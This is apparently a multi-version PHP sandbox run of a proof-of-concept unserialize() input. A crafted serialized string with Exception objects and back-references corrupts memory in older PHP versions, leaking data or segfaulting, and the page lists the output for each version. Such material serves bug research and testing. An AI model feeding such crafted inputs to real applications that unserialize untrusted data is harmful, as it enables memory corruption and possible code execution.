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<?php class obj { var $prop; function __wakeup() { $this->prop = 1; } } $exploit = 'a:3:{i:0;O:9:"exception":1:{s:17:"'."\0".'Exception'."\0".'string";a:1:{i:0;i:1;}}i:0;O:3:"obj":1:{s:4:"prop";R:2;}i:2;R:3;}'; $x = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($x);
Output for 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.4, 8.3.6
Fatal error: Uncaught TypeError: Cannot assign array to property Exception::$string of type string in /in/EnHHa:11 Stack trace: #0 /in/EnHHa(11): unserialize('a:3:{i:0;O:9:"e...') #1 {main} thrown in /in/EnHHa on line 11
Process exited with code 255.
Output for 8.3.5
Warning: PHP Startup: Unable to load dynamic library 'sodium.so' (tried: /usr/lib/php/8.3.5/modules/sodium.so (libsodium.so.23: cannot open shared object file: No such file or directory), /usr/lib/php/8.3.5/modules/sodium.so.so (/usr/lib/php/8.3.5/modules/sodium.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Fatal error: Uncaught TypeError: Cannot assign array to property Exception::$string of type string in /in/EnHHa:11 Stack trace: #0 /in/EnHHa(11): unserialize('a:3:{i:0;O:9:"e...') #1 {main} thrown in /in/EnHHa on line 11
Process exited with code 255.
Output for 7.0.20, 7.1.5 - 7.1.25, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30
array(2) { [0]=> int(1) [2]=> array(1) { [0]=> int(1) } }
Output for 7.0.0 - 7.0.10, 7.1.0
array(1) { [0]=> int(1) }
Output for 5.4.39 - 5.4.45, 5.5.23 - 5.5.38, 5.6.7 - 5.6.28
array(2) { [0]=> object(obj)#2 (1) { ["prop"]=> int(1) } [2]=> array(1) { [0]=> int(1) } }
Output for 5.4.9 - 5.4.38, 5.5.0 - 5.5.22, 5.6.0 - 5.6.6
array(2) { [0]=> object(obj)#2 (1) { ["prop"]=> int(1) } [2]=> &NULL }
Output for 5.4.0 - 5.4.8
array(2) { [0]=> object(obj)#2 (1) { ["prop"]=> int(1) } [2]=> &array(49) {
Process exited with code 139.

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